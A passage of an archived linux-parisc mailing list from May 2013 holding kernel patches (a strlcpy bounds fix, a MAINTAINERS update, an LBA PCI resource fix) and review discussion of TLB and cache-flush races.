 			> BITS_PER_LONG);
 
 	high_memory = __va((max_pfn << PAGE_SHIFT));
-
-#ifndef CONFIG_DISCONTIGMEM
-	max_mapnr = page_to_pfn(virt_to_page(high_memory - 1)) + 1;
+	set_max_mapnr(page_to_pfn(virt_to_page(high_memory - 1)) + 1);
 	free_all_bootmem();
-#else
-	{
-		int i;
-
-		for (i = 0; i < npmem_ranges; i++)
-			free_all_bootmem_node(NODE_DATA(i));
-	}
-#endif
 
 #ifdef CONFIG_PA11
 	if (hppa_dma_ops == &pcxl_dma_ops) {
-- 
1.8.1.2

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: [PATCH] arch: parisc: kernel: using strlcpy() instead of strcpy()
Date: Thu, 30 May 2013 09:18:43 +0800
Lines: 32
Approved: news@gmane.org
Message-ID: <51A6A8F3.2030200@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369876779 8403 80.91.229.3 (30 May 2013 01:19:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 01:19:39 +0000 (UTC)
Cc: Greg KH <gregkh@linuxfoundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Linux-Arch <linux-arch@vger.kernel.org>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, udknight@gmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 03:19:38 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UhrWj-0006yY-P6
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 03:19:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759694Ab3E3BTg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 May 2013 21:19:36 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:58492 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754763Ab3E3BTf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 May 2013 21:19:35 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id 328931840304; Thu, 30 May 2013 09:19:34 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id C15BF1840251;
	Thu, 30 May 2013 09:19:33 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5097 gmane.linux.kernel:1498889 gmane.linux.kernel.cross-arch:18267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5097>


'boot_args' is an input args, and 'boot_command_line' has a fix length.

So need use strlcpy() instead of strcpy() to avoid memory overflow.


Signed-off-by: Chen Gang <gang.chen@asianux.com>
---
 arch/parisc/kernel/setup.c |    3 ++-
 1 files changed, 2 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 60c1ae6..7349a3f 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -69,7 +69,8 @@ void __init setup_cmdline(char **cmdline_p)
 		/* called from hpux boot loader */
 		boot_command_line[0] = '\0';
 	} else {
-		strcpy(boot_command_line, (char *)__va(boot_args[1]));
+		strlcpy(boot_command_line, (char *)__va(boot_args[1]),
+			COMMAND_LINE_SIZE);
 
 #ifdef CONFIG_BLK_DEV_INITRD
 		if (boot_args[2] != 0) /* did palo pass us a ramdisk? */
-- 
1.7.7.6
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: MAINTAINERS - add sound, video and documentation
 references
Date: Thu, 30 May 2013 15:48:07 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20130530134807.GA3300@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1369921699 32651 80.91.229.3 (30 May 2013 13:48:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 13:48:19 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 15:48:18 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ui3DF-0007CF-Aw
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 15:48:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756440Ab3E3NsQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 09:48:16 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:62419 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755861Ab3E3NsQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 09:48:16 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.29]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lewz3-1U4si00131-00qjOz for
 <linux-parisc@vger.kernel.org>; Thu, 30 May 2013 15:48:15 +0200
Original-Received: (qmail invoked by alias); 30 May 2013 13:48:14 -0000
Original-Received: from p54AD0C3F.dip0.t-ipconnect.de (EHLO ls3530.box) [84.173.12.63]
  by mail.gmx.net (mp029) with SMTP; 30 May 2013 15:48:14 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+PKFMXldePjPPx/BbuECLANe87Gz+SD0QhisEvLF
	GGhR9Y3S2fwDJ0
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5098
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5098>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/MAINTAINERS b/MAINTAINERS
index fd3a495..9fc8e2a 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -6087,7 +6087,13 @@ T:	git git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git
 T:	git git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git
 S:	Maintained
 F:	arch/parisc/
+F:	Documentation/parisc/
 F:	drivers/parisc/
+F:	drivers/char/agp/parisc-agp.c
+F:	drivers/video/sti*
+F:	drivers/video/console/sti*
+F:	drivers/video/logo/logo_parisc*
+F:	sound/parisc/
 
 PC87360 HARDWARE MONITORING DRIVER
 M:	Jim Cromie <jim.cromie@gmail.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc/PCI: lba: fix: convert to pci_create_root_bus() for
 correct root bus resources
Date: Thu, 30 May 2013 16:10:33 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <20130530141033.GA3665@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1369923041 16359 80.91.229.3 (30 May 2013 14:10:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 14:10:41 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 16:10:40 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ui3Yu-0008IB-28
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 16:10:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757037Ab3E3OKi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 10:10:38 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:54441 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755087Ab3E3OKi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 10:10:38 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.17]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MPsKa-1UltJH034E-004yYp for
 <linux-parisc@vger.kernel.org>; Thu, 30 May 2013 16:10:37 +0200
Original-Received: (qmail invoked by alias); 30 May 2013 14:10:36 -0000
Original-Received: from p54AD0C3F.dip0.t-ipconnect.de (EHLO ls3530.box) [84.173.12.63]
  by mail.gmx.net (mp017) with SMTP; 30 May 2013 16:10:36 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+zv0RwaxSzHxcwprN38bSg3pNx5tis0vOYI8tTrJ
	t9mpOewL5CMNDm
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5099
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5099>

This commit dc7dce280a26d069ad5a58bf3da86e5e83415c65
Author: Bjorn Helgaas <bhelgaas@google.com>
Date:   Fri Oct 28 16:27:27 2011 -0600
   parisc/PCI: lba: convert to pci_create_root_bus() for correct root bus
                    resources

  Supply root bus resources to pci_create_root_bus() so they're correct
  immediately.  This fixes the problem of "early" and "header" quirks seeing
  incorrect root bus resources.

forgot to set the IORESOURCE_BUS bus flag which led to incorrect resource
assignments and a non-working stifb framebuffer on most parisc machines.

LBA 10:1: PCI host bridge to bus 0000:01
pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
pci_bus 0000:01: root bus resource [mem 0xfffffffffa000000-0xfffffffffbffffff] (bus address [0xfa000000-0xfbffffff])
pci_bus 0000:01: root bus resource [mem 0xfffffffff4800000-0xfffffffff4ffffff] (bus address [0xf4800000-0xf4ffffff])
pci_bus 0000:01: root bus resource [??? 0x00000001 flags 0x0]

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 2ef7103..29f3d7d 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1494,7 +1494,7 @@ lba_driver_probe(struct parisc_device *dev)
 
 	pci_add_resource_offset(&resources, &lba_dev->hba.io_space,
 				HBA_PORT_BASE(lba_dev->hba.hba_num));
-	if (lba_dev->hba.elmmio_space.start)
+	if (lba_dev->hba.elmmio_space.flags)
 		pci_add_resource_offset(&resources, &lba_dev->hba.elmmio_space,
 					lba_dev->hba.lmmio_space_offset);
 	if (lba_dev->hba.lmmio_space.flags)
@@ -1503,6 +1503,7 @@ lba_driver_probe(struct parisc_device *dev)
 	if (lba_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
 
+	lba_dev->hba.bus_num.flags = IORESOURCE_BUS;
 	pci_add_resource(&resources, &lba_dev->hba.bus_num);
 
 	dev->dev.platform_data = lba_dev;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix race conditions flushing user cache pages
Date: Thu, 30 May 2013 07:55:11 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <1369925711.1972.11.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP84F3DE8CE6D8B9F60C5C2597970@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369925718 16085 80.91.229.3 (30 May 2013 14:55:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 14:55:18 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 16:55:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ui4G5-0001Ui-CU
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 16:55:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933335Ab3E3OzP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 10:55:15 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57868 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933337Ab3E3OzO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 10:55:14 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 03A8C8EE0F8;
	Thu, 30 May 2013 07:55:13 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PZB8JADuvbZ3; Thu, 30 May 2013 07:55:13 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 61CD38EE0AB;
	Thu, 30 May 2013 07:55:12 -0700 (PDT)
In-Reply-To: <BLU0-SMTP84F3DE8CE6D8B9F60C5C2597970@phx.gbl>
X-Mailer: Evolution 3.8.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5100
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5100>

On Tue, 2013-05-28 at 08:09 -0400, John David Anglin wrote:
> There are two issues addressed by this patch:
> 
> 1) When we flush user instruction and data pages using the kernel  
> tmpalias region, we need to
> ensure that the local TLB entry for the tmpalias page is never  
> replaced with a different mapping.
> Previously, we purged the entry before and after the cache flush  
> loop.  Although preemption was
> disabled, it seemed possible that the value might change during  
> interrupt processing.  The patch
> removes the purge and disables interrupts during the initial TLB entry  
> purge and cache flush.
> 
> 2) In a number of places, we flush the TLB for the page and then flush  
> the page.  We disabled
> preemption around the flush.  This change disables preemption around  
> both the TLB and cache
> flushes as it seemed the effect of the purge might be lost.
> 
> Without this change, I saw four random segmentation faults in about  
> 1.5 days of intensive package
> building last weekend.  With the change, I haven't seen a single  
> random segmentation fault in about
> one week of building Debian packages on 4-way rp3440.  So, there is a  
> significant improvement
> in system stability.

an rp3440 is PA2.0, so you weren't really testing any of the tlb purge
locking changes.

Also, I don't know what happened, but the actual tmpalias theory
requires a TLB purge before and after and I though we used to have them.
The reason is twofold:

     1. You don't want the caches to speculate in the tmpalias region
     2. A flush after makes the routines interrupt safe (because you can
        interrupt in a tmpalias operation, do another tmpalias
        operation, purge the cache and restart within the non interrupt
        tmpalias and expect everything to work).

Trying to disable interrupts sounds like problem 2.  Can we return to
the proper tmpalias operations rather than trying to hack around them?

James




--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix race conditions flushing user cache pages
Date: Thu, 30 May 2013 17:01:10 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <51A769B6.50801@gmx.de>
References: <BLU0-SMTP84F3DE8CE6D8B9F60C5C2597970@phx.gbl> <1369925711.1972.11.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369926087 19938 80.91.229.3 (30 May 2013 15:01:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 15:01:27 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 17:01:26 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ui4Ly-00062N-UE
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 17:01:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757879Ab3E3PBU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 11:01:20 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:49612 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757497Ab3E3PBP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 11:01:15 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.16]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0LflnY-1U6Ec63Sck-00pMFT for
 <linux-parisc@vger.kernel.org>; Thu, 30 May 2013 17:01:12 +0200
Original-Received: (qmail invoked by alias); 30 May 2013 15:01:12 -0000
Original-Received: from p54AD0C3F.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.12.63]
  by mail.gmx.net (mp016) with SMTP; 30 May 2013 17:01:12 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/dPuYs9wbd8vXAbiJL9jbXAMqcTm5u/KUwtIa0M7
	sx0g5HNFxkI0hY
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <1369925711.1972.11.camel@dabdike.int.hansenpartnership.com>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5101
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5101>

On 05/30/2013 04:55 PM, James Bottomley wrote:
> On Tue, 2013-05-28 at 08:09 -0400, John David Anglin wrote:
>> There are two issues addressed by this patch:
>>
>> 1) When we flush user instruction and data pages using the kernel  
>> tmpalias region, we need to
>> ensure that the local TLB entry for the tmpalias page is never  
>> replaced with a different mapping.
>> Previously, we purged the entry before and after the cache flush  
>> loop.  Although preemption was
>> disabled, it seemed possible that the value might change during  
>> interrupt processing.  The patch
>> removes the purge and disables interrupts during the initial TLB entry  
>> purge and cache flush.
>>
>> 2) In a number of places, we flush the TLB for the page and then flush  
>> the page.  We disabled
>> preemption around the flush.  This change disables preemption around  
>> both the TLB and cache
>> flushes as it seemed the effect of the purge might be lost.
>>
>> Without this change, I saw four random segmentation faults in about  
>> 1.5 days of intensive package
>> building last weekend.  With the change, I haven't seen a single  
>> random segmentation fault in about
>> one week of building Debian packages on 4-way rp3440.  So, there is a  
>> significant improvement
>> in system stability.
> 
> an rp3440 is PA2.0, so you weren't really testing any of the tlb purge
> locking changes.

Which kind of system do we need to test those "tlb purge locking changes" (PAx.y)?
At least I can confirm, that Dave's patches have made all my systems 
absolutely stable.
 
> Also, I don't know what happened, but the actual tmpalias theory
> requires a TLB purge before and after and I though we used to have them.
> The reason is twofold:
> 
>      1. You don't want the caches to speculate in the tmpalias region
>      2. A flush after makes the routines interrupt safe (because you can
>         interrupt in a tmpalias operation, do another tmpalias
>         operation, purge the cache and restart within the non interrupt
>         tmpalias and expect everything to work).
> 
> Trying to disable interrupts sounds like problem 2.  Can we return to
> the proper tmpalias operations rather than trying to hack around them?

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix race conditions flushing user cache pages
Date: Thu, 30 May 2013 17:05:45 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <51A76AC9.1020702@gmx.de>
References: <BLU0-SMTP84F3DE8CE6D8B9F60C5C2597970@phx.gbl> <1369925711.1972.11.camel@dabdike.int.hansenpartnership.com> <51A769B6.50801@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369926352 22444 80.91.229.3 (30 May 2013 15:05:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 15:05:52 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 17:05:51 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ui4QI-0000kR-N2
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 17:05:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757653Ab3E3PFu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 11:05:50 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:49822 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757594Ab3E3PFu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 11:05:50 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.31]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MSomp-1UpOfp2gqr-00RnXQ for
 <linux-parisc@vger.kernel.org>; Thu, 30 May 2013 17:05:48 +0200
Original-Received: (qmail invoked by alias); 30 May 2013 15:05:48 -0000
Original-Received: from p54AD0C3F.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.12.63]
  by mail.gmx.net (mp031) with SMTP; 30 May 2013 17:05:48 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19sdqNJG3psegVoaCLjGJ0MZzFbkhHvnME49XGs9D
	zTWrjWeDoiFkdV
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <51A769B6.50801@gmx.de>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5102
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5102>

On 05/30/2013 05:01 PM, Helge Deller wrote:
> On 05/30/2013 04:55 PM, James Bottomley wrote:
>> On Tue, 2013-05-28 at 08:09 -0400, John David Anglin wrote:
>>> There are two issues addressed by this patch:
>>>
>>> 1) When we flush user instruction and data pages using the kernel  
>>> tmpalias region, we need to
>>> ensure that the local TLB entry for the tmpalias page is never  
>>> replaced with a different mapping.
>>> Previously, we purged the entry before and after the cache flush  
>>> loop.  Although preemption was
>>> disabled, it seemed possible that the value might change during  
>>> interrupt processing.  The patch
>>> removes the purge and disables interrupts during the initial TLB entry  
>>> purge and cache flush.
>>>
>>> 2) In a number of places, we flush the TLB for the page and then flush  
>>> the page.  We disabled
>>> preemption around the flush.  This change disables preemption around  
>>> both the TLB and cache
>>> flushes as it seemed the effect of the purge might be lost.
>>>
>>> Without this change, I saw four random segmentation faults in about  
>>> 1.5 days of intensive package
>>> building last weekend.  With the change, I haven't seen a single  
>>> random segmentation fault in about
>>> one week of building Debian packages on 4-way rp3440.  So, there is a  
>>> significant improvement
>>> in system stability.
>>
>> an rp3440 is PA2.0, so you weren't really testing any of the tlb purge
>> locking changes.
> 
> Which kind of system do we need to test those "tlb purge locking changes" (PAx.y)?
> At least I can confirm, that Dave's patches have made all my systems 
> absolutely stable.

For those who want to test right now, you can check out the "for-next" branch of:
git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git
in which I've queue up the outstanding patches for 3.10...

(web: http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/log/?h=for-next)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wang YanQing <udknight@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] arch: parisc: kernel: using strlcpy() instead of strcpy()
Date: Thu, 30 May 2013 23:06:36 +0800
Lines: 41
Approved: news@gmane.org
Message-ID: <20130530150636.GA2121@udknight>
